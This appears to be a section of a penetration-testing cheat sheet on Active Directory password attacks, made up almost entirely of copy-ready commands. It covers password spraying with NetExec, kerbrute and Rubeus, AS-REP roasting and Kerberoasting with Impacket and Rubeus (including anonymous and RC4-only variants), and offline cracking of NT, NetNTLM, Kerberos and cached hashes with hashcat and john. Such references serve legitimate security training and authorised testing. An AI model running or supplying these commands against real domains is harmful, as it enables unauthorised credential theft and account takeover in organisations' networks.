03 / Password Attacks
Obtain valid credentials through spraying, AS-REP roasting, Kerberoasting, hash capturing and cracking. Always check the password policy before spraying — domain accounts can be locked out.
nxc smb $TARGET_IP -u username -p password --pass-pol
nxc smb $DOMAIN -u usernames.txt -p usernames.txt --no-brute --continue-on-success
nxc smb $TARGET_IP -u users.txt -p 'password' --continue-on-success nxc smb $TARGET_IP -u users.txt -p passwords.txt --continue-on-success nxc smb $TARGET_IP -u user1 user2 user3 -p password1 nxc smb $DC -u users.txt -p Winter2024! nxc smb $TARGET_IP -u user1 -p password1 password2 password3 nxc smb $TARGET_IP -u user.txt -p user.txt --no-bruteforce --continue-on-success nxc smb $TARGET_IP -u user.txt -p password.txt --no-bruteforce --continue-on-success
kerbrute passwordspray -d corp.local users.txt Winter2024!
Rubeus.exe spray /password:Winter2024! /users:users.txt /domain:domain.local /dc:DC01.domain.local /outfile:tickets.txt
nxc smb $TARGET_IP -u creds.txt -p creds.txt --no-brute --continue-on-success nxc winrm $TARGET_IP -u $USERNAME -p $PASSWORD nxc rdp $TARGET_IP -u $USERNAME -p $PASSWORD nxc ssh $TARGET_IP -u $USERNAME -p $PASSWORD
GetNPUsers.py $DOMAIN/ -dc-ip $TARGET_IP -usersfile usernames.txt -outputfile hashes.txt GetNPUsers.py $DOMAIN/ -dc-ip 10.112.129.121 -usersfile usernames.txt | grep '^\$' > as-rep-results.txt GetNPUsers.py $DOMAIN/ -dc-ip $TARGET_IP -no-pass -usersfile usernames.txt -outputfile hashes.txt # If you already have creds but want more hashes: GetNPUsers.py $DOMAIN/user:pass -dc-ip $TARGET_IP -usersfile usernames.txt -outputfile hashes.txt # Request specific user: GetNPUsers.py $DOMAIN/user:pass -dc-ip $TARGET_IP -request
nxc ldap $TARGET_IP -u $USERNAME -p $PASSWORD --asreproast output.txt nxc ldap $TARGET_IP -u '' -p '' --asreproast output.txt # anonymous if possible
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
su timedatectl set-ntp off rdate -n $TARGET_IP
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt john --format=krb5asrep hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
nxc ldap $TARGET_IP -u username -p 'password' --kerberoasting output.txt
GetUserSPNs.py $DOMAIN/$USERNAME:$PASSWORD -dc-ip $TARGET_IP -request -outputfile tgs_hashes.txt GetUserSPNs.py $DOMAIN/$USERNAME:$PASSWORD -dc-ip $TARGET_IP -request-user specific_svc_account
Rubeus.exe kerberoast /outfile:tgs_hashes.txt /format:hashcat Rubeus.exe kerberoast /rc4opsec # only RC4 tickets (faster to crack)
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt # RC4 hashcat -m 19600 tgs_hashes.txt /usr/share/wordlists/rockyou.txt # AES128 hashcat -m 19700 tgs_hashes.txt /usr/share/wordlists/rockyou.txt # AES256 john --format=krb5tgs tgs_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt john --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 3000 hash.txt /usr/share/wordlists/rockyou.txt john --format=LM hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt john --format=netntlm hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt john --format=krb5asrep hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt john --format=krb5tgs hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 19600 hash.txt /usr/share/wordlists/rockyou.txt # AES128 hashcat -m 19700 hash.txt /usr/share/wordlists/rockyou.txt # AES256
hashcat -m 2100 hash.txt /usr/share/wordlists/rockyou.txt john --format=mscash2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 31300 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule